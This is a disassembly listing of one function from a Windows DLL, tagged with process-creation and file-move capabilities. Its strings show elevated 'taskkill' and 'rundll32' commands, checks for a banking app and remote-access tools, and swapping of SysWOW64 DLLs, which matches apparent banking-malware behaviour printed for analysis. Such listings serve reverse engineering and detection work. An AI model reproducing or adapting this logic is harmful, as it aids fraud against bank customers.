Function at 0x180005160
Capabilities:
Create process on windows
Delete file
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x180045058]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor r15d, r15d
lea rbx, [0x180045c88]
mov rdx, rbx
lea rcx, [rbp + 0x70]
call fcn.180009ef0
mov rdx, rax
lea rcx, [0x180047940]
call fcn.180004c00
movabs rdi, 0x7fffffffffffffff
test al, al
jne 0x18000541c
mov byte [0x180047911], r15b
mov rcx, qword [0x180045c98]
mov rax, rdi
sub rax, rcx
cmp rax, 0x11
jb 0x180006f00
cmp qword [0x180045ca0], 0x10
cmovae rbx, qword [0x180045c88]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 0x11
lea r9, str._C_taskkill__IM__
lea rcx, [rbp - 0x30]
call fcn.18000be60
nop
lea r8d, [r15 + 0xb]
lea rdx, str.___F__exit
lea rcx, [rbp - 0x30]
call fcn.18000a830
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x18000529b
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005296
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f06
call fcn.18000dc40
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rdx, qword [rbp + 0x10]
mov rsi, qword [rbp + 0x20]
add rsi, rdx
lea rbx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rbx, qword [rbp + 0x10]
mov qword [rbp + 0x50], r15
mov rcx, r15
mov qword [rbp + 0x60], rcx
mov edx, 7
mov qword [rbp + 0x68], rdx
mov rax, rsi
sub rax, rbx
cmp rax, 8
jb 0x180005305
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.18000c5e0
mov rcx, r15
mov qword [rbp + 0x60], rcx
mov rdx, qword [rbp + 0x68]
lea rax, [rbp + 0x50]
mov qword [rsp + 0x40], rax
cmp rbx, rsi
je 0x180005360
movsx r9d, byte [rbx]
cmp rcx, rdx
jae 0x18000533e
lea rax, [rcx + 1]
mov qword [rbp + 0x60], rax
lea rax, [rbp + 0x50]
cmp rdx, 8
cmovae rax, qword [rbp + 0x50]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x18000534e
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp + 0x50]
call fcn.18000c750
inc rbx
mov rdx, qword [rbp + 0x68]
cmp rbx, rsi
je 0x180005360
mov rcx, qword [rbp + 0x60]
jmp 0x180005313
lea r9, [rbp + 0x50]
cmp rdx, 8
cmovae r9, qword [rbp + 0x50]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp + 0x68]
cmp rdx, 8
jb 0x1800053d0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800053cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f0c
call fcn.18000dc40
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], 7
mov word [rbp + 0x50], r15w
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x18000541c
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005417
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f12
call fcn.18000dc40
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov r8d, 0x12
lea rdx, str.itauaplicativo.exe
lea rcx, [rbp - 0x30]
call fcn.18000a6d0
lea rdx, [rbp - 0x30]
lea rcx, [0x180047940]
call fcn.180004c00
test al, al
je 0x1800054e7
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov r8d, 7
lea rdx, str.AnyDesk
lea rcx, [rbp - 0x30]
call fcn.18000a6d0
lea rcx, [rbp - 0x30]
call fcn.180001e60
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov r8d, 0x12
lea rdx, str.TeamViewer_Service
lea rcx, [rbp - 0x30]
call fcn.18000a6d0
lea rcx, [rbp - 0x30]
call fcn.180001e60
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov r8d, 0xa
lea rdx, str.TeamViewer
lea rcx, [rbp - 0x30]
call fcn.18000a6d0
lea rcx, [rbp - 0x30]
call fcn.180001e60
call fcn.180003e10
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
mov r8d, 0x14
lea rdx, str.c:windowsSysWOW64_
lea rcx, [rbp + 0x50]
call fcn.18000a6d0
nop
lea rcx, [rbp + 0x70]
call fcn.1800029d0
nop
mov r8d, 0xd
lea rdx, [0x18003f538]
mov rcx, rax
call fcn.18000a830
mov qword [rbp - 0x10], r15
mov qword [rbp], r15
mov qword [rbp + 8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call fcn.1800035f0
movzx ebx, al
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x1800055b1
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800055ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f18
call fcn.18000dc40
mov qword [rbp], r15
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x1800055ff
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800055fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f1e
call fcn.18000dc40
lea r12, str.dllhost2.exe
test bl, bl
je 0x180005934
mov rax, rdi
mov rcx, qword [rbp + 0x60]
sub rax, rcx
cmp rax, 0xc
jb 0x180006f24
lea r9, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae r9, qword [rbp + 0x50]
mov qword [rsp + 0x30], 0xc
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x10]
call fcn.18000be60
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call fcn.1800035f0
test al, al
je 0x180005805
xor ecx, ecx
call fcn.180015ab4
mov rcx, rax
call fcn.180016110
lea rcx, [rbp + 0x70]
call fcn.180003b90
nop
lea r8, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae r8, qword [rbp - 0x10]
mov r9, qword [rbp]
mov rcx, rax
call fcn.18000bf80
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..old
lea rcx, [rbp + 0x10]
call fcn.18000a830
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rdx, qword [rbp + 0x30]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call fcn.180016564
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x180005761
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000575c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f2a
call fcn.18000dc40
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1800057ac
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800057a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f30
call fcn.18000dc40
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x1800057fa
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800057f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f36
call fcn.18000dc40
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x70]
call fcn.1800029d0
nop
mov r8d, 0xd
lea rdx, [0x18003f538]
mov rcx, rax
call fcn.18000a830
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
call fcn.180016564
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1800058aa
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800058a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f3c
call fcn.18000dc40
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x1800058f9
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800058f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f42
call fcn.18000dc40
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x180005934
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000592f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f48
call fcn.18000dc40
lea rcx, [rbp + 0x70]
call fcn.1800029d0
nop
mov r8d, 0xd
lea rdx, [0x18003f560]
mov rcx, rax
call fcn.18000a830
mov qword [rbp - 0x10], r15
mov qword [rbp], r15
mov qword [rbp + 8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call fcn.1800035f0
movzx ebx, al
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x1800059ce
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800059c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f4e
call fcn.18000dc40
mov qword [rbp], r15
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x180005a1c
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005a17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f54
call fcn.18000dc40
test bl, bl
je 0x180005d10
mov rax, rdi
mov rcx, qword [rbp + 0x60]
sub rax, rcx
cmp rax, 0xc
jb 0x180006f5a
lea r9, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae r9, qword [rbp + 0x50]
mov qword [rsp + 0x30], 0xc
lea rax, str.MsMpLics.dll
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x10]
call fcn.18000be60
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call fcn.1800035f0
test al, al
je 0x180005be1
xor ecx, ecx
call fcn.180015ab4
mov rcx, rax
call fcn.180016110
lea rcx, [rbp + 0x70]
call fcn.180003b90
nop
lea r8, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae r8, qword [rbp - 0x10]
mov r9, qword [rbp]
mov rcx, rax
call fcn.18000bf80
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..old
lea rcx, [rbp + 0x10]
call fcn.18000a830
mov qword [rbp - 0x30], r15
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call fcn.180016564
lea rcx, [rbp - 0x30]
call fcn.180009e50
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x180005b88
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005b83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f60
call fcn.18000dc40
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x180005bd6
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005bd1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f66
call fcn.18000dc40
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x70]
call fcn.1800029d0
nop
mov r8d, 0xd
lea rdx, [0x18003f560]
mov rcx, rax
call fcn.18000a830
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
call fcn.180016564
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x180005c86
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005c81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f6c
call fcn.18000dc40
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x180005cd5
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005ccf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f72
call fcn.18000dc40
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x180005d10
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005d0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f78
call fcn.18000dc40
mov rcx, qword [0x180045c78]
mov rax, rdi
sub rax, rcx
cmp rax, 0xf
jb 0x180006f7e
lea r14, [0x180045c68]
mov r9, r14
cmp qword [0x180045c80], 0x10
cmovae r9, qword [0x180045c68]
mov qword [rsp + 0x30], 0xf
lea rsi, [0x18003f580]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x30]
call fcn.18000be60
nop
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call fcn.1800035f0
movzx ebx, al
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x180005db6
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005db1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f84
call fcn.18000dc40
test bl, bl
je 0x180006333
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, rdi
mov rcx, qword [rbp + 0x60]
sub rax, rcx
cmp rax, 0xe
jb 0x180006f8a
lea r9, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae r9, qword [rbp + 0x50]
mov qword [rsp + 0x30], 0xe
lea rax, str.ModuleMain.dll
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x30]
call fcn.18000be60
nop
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
call fcn.1800035f0
test al, al
je 0x180005fc7
xor ecx, ecx
call fcn.180015ab4
mov rcx, rax
call fcn.180016110
lea rcx, [rbp + 0x70]
call fcn.180003b90
nop
lea r8, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae r8, qword [rbp + 0x30]
mov r9, qword [rbp + 0x40]
mov rcx, rax
call fcn.18000bf80
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..old
lea rcx, [rbp - 0x30]
call fcn.18000a830
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
call fcn.180016564
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x180005f23
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f90
call fcn.18000dc40
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x180005f6e
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f96
call fcn.18000dc40
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x180005fbc
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005fb7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006f9c
call fcn.18000dc40
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x180045c78]
mov rax, rdi
sub rax, rcx
cmp rax, 0xf
jb 0x180006fa2
mov r9, r14
cmp qword [0x180045c80], 0x10
cmovae r9, qword [0x180045c68]
mov qword [rsp + 0x30], 0xf
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x30]
call fcn.18000be60
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rdx, qword [rbp + 0x30]
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call fcn.180016564
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x180006069
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006064
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006fa8
call fcn.18000dc40
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, rdi
mov rcx, qword [rbp + 0x40]
sub rax, rcx
cmp rax, 0x11
jb 0x180006fae
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rax, qword [rbp + 0x30]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x11
lea r9, str._C_rundll32.exe__
lea rcx, [rbp - 0x30]
call fcn.18000be60
nop
mov r8d, 0x16
lea rdx, str.__CallIntModule__exit
lea rcx, [rbp - 0x30]
call fcn.18000a830
mov qword [rbp + 0x90], r15
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x180006144
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000613f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006fb4
call fcn.18000dc40
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
lea rsi, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rsi, qword [rbp + 0x90]
add rsi, qword [rbp + 0xa0]
lea rbx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rbx, qword [rbp + 0x90]
mov qword [rbp - 0x10], r15
mov rcx, r15
mov qword [rbp], rcx
mov edx, 7
mov qword [rbp + 8], rdx
mov rax, rsi
sub rax, rbx
cmp rax, 8
jb 0x1800061c0
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.18000c5e0
mov rcx, r15
mov qword [rbp], rcx
mov rdx, qword [rbp + 8]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
cmp rbx, rsi
je 0x18000621d
nop
movsx r9d, byte [rbx]
cmp rcx, rdx
jae 0x1800061fb
lea rax, [rcx + 1]
mov qword [rbp], rax
lea rax, [rbp - 0x10]
cmp rdx, 8
cmovae rax, qword [rbp - 0x10]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x18000620b
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x10]
call fcn.18000c750
inc rbx
mov rdx, qword [rbp + 8]
cmp rbx, rsi
je 0x18000621d
mov rcx, qword [rbp]
jmp 0x1800061d0
lea r9, [rbp - 0x10]
cmp rdx, 8
cmovae r9, qword [rbp - 0x10]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x18000628d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006288
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006fba
call fcn.18000dc40
mov qword [rbp], r15
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r15w
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1800062df
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800062da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006fc0
call fcn.18000dc40
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x180006333
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000632e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006fc6
call fcn.18000dc40
mov rcx, qword [0x180045c78]
mov rax, rdi
sub rax, rcx
cmp rax, 0xd
jb 0x180006fcc
mov r9, r14
cmp qword [0x180045c80], 0x10
cmovae r9, qword [0x180045c68]
mov qword [rsp + 0x30], 0xd
lea rsi, [0x18003f5d0]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x30]
call fcn.18000be60
nop
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call fcn.1800035f0
movzx ebx, al
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1800063d2
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800063cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006fd2
call fcn.18000dc40
test bl, bl
je 0x1800066d2
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, rdi
mov rcx, qword [rbp + 0x60]
